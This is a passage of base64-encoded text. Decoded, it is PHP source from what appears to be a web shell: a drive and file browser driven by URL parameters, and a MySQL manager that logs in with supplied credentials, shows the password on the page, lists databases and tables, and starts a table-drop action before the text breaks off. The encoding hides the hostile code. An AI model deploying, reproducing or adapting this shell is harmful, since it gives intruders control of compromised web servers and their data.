PSAwOw0KICAgICAgICB9DQogICAgICAgIGlmICgkdG90YWwgPCAwKQ0KICAgICAgICB7DQogICAg
ICAgICAgICAkdG90YWwgPSAwOw0KICAgICAgICB9DQogICAgICAgICR1c2VkID0gJHRvdGFsIC0g
JGZyZWU7DQogICAgICAgICRmcmVlX3BlcmNlbnQgPSByb3VuZCgxMDAgLyAoJHRvdGFsIC8gJGZy
ZWUpICwgMik7DQogICAgICAgIGVjaG8gIjxicj48Yj5GcmVlICIgLiB2aWV3X3NpemUoJGZyZWUp
IC4gIiBvZiAiIC4gdmlld19zaXplKCR0b3RhbCkgLiAiICgiIC4gJGZyZWVfcGVyY2VudCAuICIl
KTwvYj4iOw0KICAgIH0NCiAgICBlY2hvICI8YnI+IjsNCiAgICAkbGV0dGVycyA9ICIiOw0KICAg
IGlmICgkd2luKQ0KICAgIHsNCiAgICAgICAgJHYgPSBleHBsb2RlKCJcXCIsICRkKTsNCiAgICAg
ICAgJHYgPSAkdlswXTsNCiAgICAgICAgZm9yZWFjaCAocmFuZ2UoImEiLCAieiIpIGFzICRsZXR0
ZXIpDQogICAgICAgIHsNCiAgICAgICAgICAgICRib29sID0gJGlzZGlza2V0dGUgPSBpbl9hcnJh
eSgkbGV0dGVyLCAkc2FmZW1vZGVfZGlza2V0dGVzKTsNCiAgICAgICAgICAgIGlmICghJGJvb2wp
DQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGJvb2wgPSBpc19kaXIoJGxldHRlciAu
ICI6XFwiKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICgkYm9vbCkNCiAgICAgICAg
ICAgIHsNCiAgICAgICAgICAgICAgICAkbGV0dGVycyAuPSAiPGEgaHJlZj1cIiIgLiAkc3VybCAu
ICJhY3Q9bHMmZD0iIC4gdXJsZW5jb2RlKCRsZXR0ZXIgLiAiOlxcIikgLiAiXCIiIC4gKCRpc2Rp
c2tldHRlID8gIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ01ha2Ugc3VyZSB0aGF0IHRoZSBk
aXNrZXR0ZSBpcyBpbnNlcnRlZCBwcm9wZXJseSwgb3RoZXJ3aXNlIGFuIGVycm9yIG1heSBvY2N1
ci4nKVwiIiA6ICIiKSAuICI+WyAiOw0KICAgICAgICAgICAgICAgIGlmICgkbGV0dGVyIC4gIjoi
ICE9ICR2KQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGxldHRlcnMg
Lj0gJGxldHRlcjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZWxzZQ0KICAg
ICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGxldHRlcnMgLj0gIjxmb250IGNv
bG9yPWdyZWVuPiIgLiAkbGV0dGVyIC4gIjwvZm9udD4iOw0KICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgICAgICAkbGV0dGVycyAuPSAiIF08L2E+ICI7DQogICAgICAgICAgICB9DQogICAg
ICAgIH0NCiAgICAgICAgaWYgKCFlbXB0eSgkbGV0dGVycykpDQogICAgICAgIHsNCiAgICAgICAg
ICAgIGVjaG8gIjxiPkRldGVjdGVkIGRyaXZlczwvYj46ICIgLiAkbGV0dGVycyAuICI8YnI+IjsN
CiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoY291bnQoJHF1aWNrbGF1bmNoKSA+IDApDQogICAg
ew0KICAgICAgICBmb3JlYWNoICgkcXVpY2tsYXVuY2ggYXMgJGl0ZW0pDQogICAgICAgIHsNCiAg
ICAgICAgICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVkIiwgdXJsZW5jb2RlKCRkKSAsICRp
dGVtWzFdKTsNCiAgICAgICAgICAgICRpdGVtWzFdID0gc3RyX3JlcGxhY2UoIiVzb3J0IiwgJHNv
cnQsICRpdGVtWzFdKTsNCiAgICAgICAgICAgICR2ID0gcmVhbHBhdGgoJGQgLiAiLi4iKTsNCiAg
ICAgICAgICAgIGlmIChlbXB0eSgkdikpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAg
JGEgPSBleHBsb2RlKERJUkVDVE9SWV9TRVBBUkFUT1IsICRkKTsNCiAgICAgICAgICAgICAgICB1
bnNldCgkYVtjb3VudCgkYSkgLSAyXSk7DQogICAgICAgICAgICAgICAgJHYgPSBqb2luKERJUkVD
VE9SWV9TRVBBUkFUT1IsICRhKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRpdGVtWzFd
ID0gc3RyX3JlcGxhY2UoIiV1cGQiLCB1cmxlbmNvZGUoJHYpICwgJGl0ZW1bMV0pOw0KICAgICAg
ICAgICAgZWNobyAiPGEgaHJlZj1cIiIgLiAkaXRlbVsxXSAuICJcIj4iIC4gJGl0ZW1bMF0gLiAi
PC9hPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgICAgIH0NCiAgICB9DQogICAgZWNo
byAiPC9wPjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOw0KICAgIGlmICgoIWVtcHR5KCRkb25hdGVk
X2h0bWwpKSBhbmQgKGluX2FycmF5KCRhY3QsICRkb25hdGVkX2FjdCkpKQ0KICAgIHsNCiAgICAg
ICAgZWNobyAiPFRBQkxFIHN0eWxlPVwiQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZVwiIGNlbGxT
cGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD1cIjEw
MCVcIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0
cj48dGQgd2lkdGg9XCIxMDAlXCIgdmFsaWduPVwidG9wXCI+IiAuICRkb25hdGVkX2h0bWwgLiAi
PC90ZD48L3RyPjwvdGFibGU+PGJyPiI7DQogICAgfQ0KICAgIGVjaG8gIjxUQUJMRSBzdHlsZT1c
IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2VcIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFy
az0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJv
cmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPVwiMTAwJVwiIHZh
bGlnbj1cInRvcFwiPiI7DQogICAgaWYgKCRhY3QgPT0gIiIpDQogICAgew0KICAgICAgICAkYWN0
ID0gJGRzcGFjdCA9ICJscyI7DQogICAgfQ0KICAgIGlmICgkYWN0ID09ICJzcWwiKQ0KICAgIHsN
CiAgICAgICAgJHNxbF9zdXJsID0gJHN1cmwgLiAiYWN0PXNxbCI7DQogICAgICAgIGlmICgkc3Fs
X2xvZ2luKQ0KICAgICAgICB7DQogICAgICAgICAgICAkc3FsX3N1cmwgLj0gIiZzcWxfbG9naW49
IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7DQogICAgICAgIH0NCiAgICAgICAgaWYg
KCRzcWxfcGFzc3dkKQ0KICAgICAgICB7DQogICAgICAgICAgICAkc3FsX3N1cmwgLj0gIiZzcWxf
cGFzc3dkPSIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKTsNCiAgICAgICAgfQ0KICAg
ICAgICBpZiAoJHNxbF9zZXJ2ZXIpDQogICAgICAgIHsNCiAgICAgICAgICAgICRzcWxfc3VybCAu
PSAiJnNxbF9zZXJ2ZXI9IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOw0KICAgICAg
ICB9DQogICAgICAgIGlmICgkc3FsX3BvcnQpDQogICAgICAgIHsNCiAgICAgICAgICAgICRzcWxf
c3VybCAuPSAiJnNxbF9wb3J0PSIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7DQogICAg
ICAgIH0NCiAgICAgICAgaWYgKCRzcWxfZGIpDQogICAgICAgIHsNCiAgICAgICAgICAgICRzcWxf
c3VybCAuPSAiJnNxbF9kYj0iIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKTsNCiAgICAgICAg
fQ0KICAgICAgICAkc3FsX3N1cmwgLj0gIiYiOyA/PjxoMz5BdHRlbnRpb24hIFNRTC1NYW5hZ2Vy
IGlzIDx1Pk5PVDwvdT4gcmVhZHkgbW9kdWxlISBEb24ndCByZXBvcnRzIGJ1Z3MuPC9oMz48VEFC
TEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGhlaWdodD0xIGNlbGxTcGFjaW5n
PTAgYm9yZGVyQ29sb3JEYXJrPSM2NjY2NjYgY2VsbFBhZGRpbmc9NSB3aWR0aD0iMTAwJSIgYmdD
b2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MSBib3JkZXJjb2xv
cj0iI0MwQzBDMCI+PHRyPjx0ZCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIiBjb2xzcGFuPSIyIiB2
YWxpZ249InRvcCI+PGNlbnRlcj48P3BocCBpZiAoJHNxbF9zZXJ2ZXIpDQogICAgICAgIHsNCiAg
ICAgICAgICAgICRzcWxfc29jayA9IG15c3FsX2Nvbm5lY3QoJHNxbF9zZXJ2ZXIgLiAiOiIgLiAk
c3FsX3BvcnQsICRzcWxfbG9naW4sICRzcWxfcGFzc3dkKTsNCiAgICAgICAgICAgICRlcnIgPSBt
eXNxbF9zbWFydGVycm9yKCk7DQogICAgICAgICAgICBAbXlzcWxfc2VsZWN0X2RiKCRzcWxfZGIs
ICRzcWxfc29jayk7DQogICAgICAgICAgICBpZiAoJHNxbF9xdWVyeSBhbmQgJHN1Ym1pdCkNCiAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkc3FsX3F1ZXJ5X3Jlc3VsdCA9IG15c3FsX3F1
ZXJ5KCRzcWxfcXVlcnksICRzcWxfc29jayk7DQogICAgICAgICAgICAgICAgJHNxbF9xdWVyeV9l
cnJvciA9IG15c3FsX3NtYXJ0ZXJyb3IoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAg
ICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICRzcWxfc29jayA9IGZhbHNlOw0KICAg
ICAgICB9DQogICAgICAgIGVjaG8gIjxiPlNRTCBNYW5hZ2VyOjwvYj48YnI+IjsNCiAgICAgICAg
aWYgKCEkc3FsX3NvY2spDQogICAgICAgIHsNCiAgICAgICAgICAgIGlmICghJHNxbF9zZXJ2ZXIp
DQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgZWNobyAiTk8gQ09OTkVDVElPTiI7DQog
ICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgZWNobyAiPGNlbnRlcj48Yj5DYW4ndCBjb25uZWN0PC9iPjwvY2VudGVyPiI7DQogICAg
ICAgICAgICAgICAgZWNobyAiPGI+IiAuICRlcnIgLiAiPC9iPiI7DQogICAgICAgICAgICB9DQog
ICAgICAgIH0NCiAgICAgICAgZWxzZQ0KICAgICAgICB7DQogICAgICAgICAgICAkc3FscXVpY2ts
YXVuY2ggPSBhcnJheSgpOw0KICAgICAgICAgICAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgN
CiAgICAgICAgICAgICAgICAiSW5kZXgiLA0KICAgICAgICAgICAgICAgICRzdXJsIC4gImFjdD1z
cWwmc3FsX2xvZ2luPSIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pIC4gIiZzcWxfcGFz
c3dkPSIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKSAuICImc3FsX3NlcnZlcj0iIC4g
aHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikgLiAiJnNxbF9wb3J0PSIgLiBodG1sc3BlY2lh
bGNoYXJzKCRzcWxfcG9ydCkgLiAiJiINCiAgICAgICAgICAgICk7DQogICAgICAgICAgICAkc3Fs
cXVpY2tsYXVuY2hbXSA9IGFycmF5KA0KICAgICAgICAgICAgICAgICJRdWVyeSIsDQogICAgICAg
ICAgICAgICAgJHNxbF9zdXJsIC4gInNxbF9hY3Q9cXVlcnkmc3FsX3RibD0iIC4gdXJsZW5jb2Rl
KCRzcWxfdGJsKQ0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICRzcWxxdWlja2xhdW5jaFtd
ID0gYXJyYXkoDQogICAgICAgICAgICAgICAgIlNlcnZlci1zdGF0dXMiLA0KICAgICAgICAgICAg
ICAgICRzdXJsIC4gImFjdD1zcWwmc3FsX2xvZ2luPSIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxf
bG9naW4pIC4gIiZzcWxfcGFzc3dkPSIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKSAu
ICImc3FsX3NlcnZlcj0iIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikgLiAiJnNxbF9w
b3J0PSIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkgLiAiJnNxbF9hY3Q9c2VydmVyc3Rh
dHVzIg0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJy
YXkoDQogICAgICAgICAgICAgICAgIlNlcnZlciB2YXJpYWJsZXMiLA0KICAgICAgICAgICAgICAg
ICRzdXJsIC4gImFjdD1zcWwmc3FsX2xvZ2luPSIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9n
aW4pIC4gIiZzcWxfcGFzc3dkPSIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKSAuICIm
c3FsX3NlcnZlcj0iIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikgLiAiJnNxbF9wb3J0
PSIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkgLiAiJnNxbF9hY3Q9c2VydmVydmFycyIN
CiAgICAgICAgICAgICk7DQogICAgICAgICAgICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KA0K
ICAgICAgICAgICAgICAgICJQcm9jZXNzZXMiLA0KICAgICAgICAgICAgICAgICRzdXJsIC4gImFj
dD1zcWwmc3FsX2xvZ2luPSIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pIC4gIiZzcWxf
cGFzc3dkPSIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKSAuICImc3FsX3NlcnZlcj0i
IC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikgLiAiJnNxbF9wb3J0PSIgLiBodG1sc3Bl
Y2lhbGNoYXJzKCRzcWxfcG9ydCkgLiAiJnNxbF9hY3Q9cHJvY2Vzc2VzIg0KICAgICAgICAgICAg
KTsNCiAgICAgICAgICAgICRzcWxxdWlja2xhdW5jaFtdID0gYXJyYXkoDQogICAgICAgICAgICAg
ICAgIkxvZ291dCIsDQogICAgICAgICAgICAgICAgJHN1cmwgLiAiYWN0PXNxbCINCiAgICAgICAg
ICAgICk7DQogICAgICAgICAgICBlY2hvICI8Y2VudGVyPjxiPk15U1FMICIgLiBteXNxbF9nZXRf
c2VydmVyX2luZm8oKSAuICIgKHByb3RvIHYuIiAuIG15c3FsX2dldF9wcm90b19pbmZvKCkgLiAi
KSBydW5uaW5nIGluICIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKSAuICI6IiAuIGh0
bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KSAuICIgYXMgIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNx
bF9sb2dpbikgLiAiQCIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKSAuICIgKHBhc3N3
b3JkIC0gXCIiIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkgLiAiXCIpPC9iPjxicj4i
Ow0KICAgICAgICAgICAgaWYgKGNvdW50KCRzcWxxdWlja2xhdW5jaCkgPiAwKQ0KICAgICAgICAg
ICAgew0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkN
CiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIlsgPGEgaHJlZj1c
IiIgLiAkaXRlbVsxXSAuICJcIj48Yj4iIC4gJGl0ZW1bMF0gLiAiPC9iPjwvYT4gXSAiOw0KICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVjaG8gIjwvY2VudGVy
PiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiPC90ZD48L3RyPjx0cj4iOw0KICAgICAgICBp
ZiAoISRzcWxfc29jaykNCiAgICAgICAgeyA/Pjx0ZCB3aWR0aD0iMjglIiBoZWlnaHQ9IjEwMCIg
dmFsaWduPSJ0b3AiPjxjZW50ZXI+PGZvbnQgc2l6ZT0iNSI+IGkgPC9mb250PjwvY2VudGVyPjxs
aT5JZiBsb2dpbiBpcyBudWxsLCBsb2dpbiBpcyBvd25lciBvZiBwcm9jZXNzLjxsaT5JZiBob3N0
IGlzIG51bGwsIGhvc3QgaXMgbG9jYWxob3N0PC9iPjxsaT5JZiBwb3J0IGlzIG51bGwsIHBvcnQg
aXMgMzMwNiAoZGVmYXVsdCk8L3RkPjx0ZCB3aWR0aD0iOTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0i
dG9wIj48VEFCTEUgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIHdpZHRoPSIx
MDAlIiBib3JkZXI9MD48dHI+PHRkPiZuYnNwOzxiPlBsZWFzZSwgZmlsbCB0aGUgZm9ybTo8L2I+
PHRhYmxlPjx0cj48dGQ+PGI+VXNlcm5hbWU8L2I+PC90ZD48dGQ+PGI+UGFzc3dvcmQ8L2I+Jm5i
c3A7PC90ZD48dGQ+PGI+RGF0YWJhc2U8L2I+Jm5ic3A7PC90ZD48L3RyPjxmb3JtIGFjdGlvbj0i
PD9waHAgZWNobyAkc3VybDsgPz4iIG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9ImhpZGRlbiIg
bmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48dHI+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJz
cWxfbG9naW4iIHZhbHVlPSJyb290IiBtYXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlw
ZT0icGFzc3dvcmQiIG5hbWU9InNxbF9wYXNzd2QiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwv
dGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfZGIiIHZhbHVlPSIiIG1heGxlbmd0
aD0iNjQiPjwvdGQ+PC90cj48dHI+PHRkPjxiPkhvc3Q8L2I+PC90ZD48dGQ+PGI+UE9SVDwvYj48
L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1yaWdodD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3Fs
X3NlcnZlciIgdmFsdWU9ImxvY2FsaG9zdCIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0
IHR5cGU9InRleHQiIG5hbWU9InNxbF9wb3J0IiB2YWx1ZT0iMzMwNiIgbWF4bGVuZ3RoPSI2IiBz
aXplPSIzIj48L3RkPjx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90
ZD48L3RyPjx0cj48dGQ+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+PD9waHANCiAgICAg
ICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgIGlmICghZW1wdHkoJHNx
bF9kYikpDQogICAgICAgICAgICB7ID8+PHRkIHdpZHRoPSIyNSUiIGhlaWdodD0iMTAwJSIgdmFs
aWduPSJ0b3AiPjxhIGhyZWY9Ijw/cGhwIGVjaG8gJHN1cmwgLiAiYWN0PXNxbCZzcWxfbG9naW49
IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikgLiAiJnNxbF9wYXNzd2Q9IiAuIGh0bWxz
cGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpIC4gIiZzcWxfc2VydmVyPSIgLiBodG1sc3BlY2lhbGNo
YXJzKCRzcWxfc2VydmVyKSAuICImc3FsX3BvcnQ9IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9w
b3J0KSAuICImIjsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPjw/cGhw
ICRyZXN1bHQgPSBteXNxbF9saXN0X3RhYmxlcygkc3FsX2RiKTsNCiAgICAgICAgICAgICAgICBp
ZiAoISRyZXN1bHQpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBlY2hv
IG15c3FsX3NtYXJ0ZXJyb3IoKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
ZWxzZQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiLS0tWyA8
YSBocmVmPVwiIiAuICRzcWxfc3VybCAuICImXCI+PGI+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNx
bF9kYikgLiAiPC9iPjwvYT4gXS0tLTxicj4iOw0KICAgICAgICAgICAgICAgICAgICAkYyA9IDA7
DQogICAgICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJl
c3VsdCkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRj
b3VudCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgQ09VTlQoKikgRlJPTSAiIC4gJHJvd1swXSk7DQog
ICAgICAgICAgICAgICAgICAgICAgICAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNv
dW50KTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxiPsK7Jm5ic3A7PGEgaHJlZj1c
IiIgLiAkc3FsX3N1cmwgLiAic3FsX2RiPSIgLiBodG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpIC4g
IiZzcWxfdGJsPSIgLiBodG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pIC4gIlwiPjxiPiIgLiBodG1s
c3BlY2lhbGNoYXJzKCRyb3dbMF0pIC4gIjwvYj48L2E+ICgiIC4gJGNvdW50X3Jvd1swXSAuICIp
PC9icj48L2I+IjsNCiAgICAgICAgICAgICAgICAgICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRj
b3VudCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkYysrOw0KICAgICAgICAgICAgICAgICAg
ICB9DQogICAgICAgICAgICAgICAgICAgIGlmICghJGMpDQogICAgICAgICAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIk5vIHRhYmxlcyBmb3VuZCBpbiBkYXRhYmFz
ZS4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAg
ICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgeyA/Pjx0ZCB3aWR0aD0iMSIgaGVp
Z2h0PSIxMDAiIHZhbGlnbj0idG9wIj48YSBocmVmPSI8P3BocCBlY2hvICRzcWxfc3VybDsgPz4i
PjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPjw/cGhwICRyZXN1bHQgPSBteXNx
bF9saXN0X2Ricygkc3FsX3NvY2spOw0KICAgICAgICAgICAgICAgIGlmICghJHJlc3VsdCkNCiAg
ICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gbXlzcWxfc21hcnRlcnJv
cigpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAg
ICAgICAgeyA/Pjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBl
PSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNxbCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFt
ZT0ic3FsX2xvZ2luIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9n
aW4pOyA/PiI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3Bhc3N3ZCIgdmFsdWU9Ijw/
cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCk7ID8+Ij48aW5wdXQgdHlwZT0i
aGlkZGVuIiBuYW1lPSJzcWxfc2VydmVyIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNo
YXJzKCRzcWxfc2VydmVyKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9wb3J0
IiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCk7ID8+Ij48c2Vs
ZWN0IG5hbWU9InNxbF9kYiI+PD9waHAgJGMgPSAwOw0KICAgICAgICAgICAgICAgICAgICAkZGJz
ID0gIiI7DQogICAgICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93
KCRyZXN1bHQpKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAg
ICAkZGJzIC49ICI8b3B0aW9uIHZhbHVlPVwiIiAuICRyb3dbMF0gLiAiXCIiOw0KICAgICAgICAg
ICAgICAgICAgICAgICAgaWYgKCRzcWxfZGIgPT0gJHJvd1swXSkNCiAgICAgICAgICAgICAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGJzIC49ICIgc2VsZWN0ZWQi
Ow0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGRi
cyAuPSAiPiIgLiAkcm93WzBdIC4gIjwvb3B0aW9uPiI7DQogICAgICAgICAgICAgICAgICAgICAg
ICAkYysrOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVjaG8g
IjxvcHRpb24gdmFsdWU9XCJcIj5EYXRhYmFzZXMgKCIgLiAkYyAuICIpPC9vcHRpb24+IjsNCiAg
ICAgICAgICAgICAgICAgICAgZWNobyAkZGJzOw0KICAgICAgICAgICAgICAgIH0gPz48L3NlbGVj
dD48aHIgc2l6ZT0iMSIgbm9zaGFkZT5QbGVhc2UsIHNlbGVjdCBkYXRhYmFzZTxociBzaXplPSIx
IiBub3NoYWRlPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyI+PC9mb3JtPjw/cGhwDQog
ICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICI8L3RkPjx0ZCB3aWR0aD1cIjEwMCVcIiBo
ZWlnaHQ9XCIxXCIgdmFsaWduPVwidG9wXCI+IjsNCiAgICAgICAgICAgICRkaXBsYXkgPSB0cnVl
Ow0KICAgICAgICAgICAgaWYgKCRzcWxfZGIpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgaWYgKCFpc19udW1lcmljKCRjKSkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgICAgICRjID0gMDsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCRj
ID09IDApDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkYyA9ICJubyI7
DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gIjxociBzaXplPVwiMVwi
IG5vc2hhZGU+PGNlbnRlcj48Yj5UaGVyZSBhcmUgIiAuICRjIC4gIiB0YWJsZShzKSBpbiB0aGlz
IERCICgiIC4gaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKSAuICIpLjxicj4iOw0KICAgICAgICAg
ICAgICAgIGlmIChjb3VudCgkZGJxdWlja2xhdW5jaCkgPiAwKQ0KICAgICAgICAgICAgICAgIHsN
CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRic3FscXVpY2tsYXVuY2ggYXMgJGl0ZW0p
DQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIlsg
PGEgaHJlZj1cIiIgLiAkaXRlbVsxXSAuICJcIj4iIC4gJGl0ZW1bMF0gLiAiPC9hPiBdICI7DQog
ICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
ZWNobyAiPC9iPjwvY2VudGVyPiI7DQogICAgICAgICAgICAgICAgJGFjdHMgPSBhcnJheSgNCiAg
ICAgICAgICAgICAgICAgICAgIiIsDQogICAgICAgICAgICAgICAgICAgICJkdW1wIg0KICAgICAg
ICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgaWYgKCRzcWxfYWN0ID09ICJ0Ymxkcm9wIikN
CiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRzcWxfcXVlcnkgPSAiRFJP
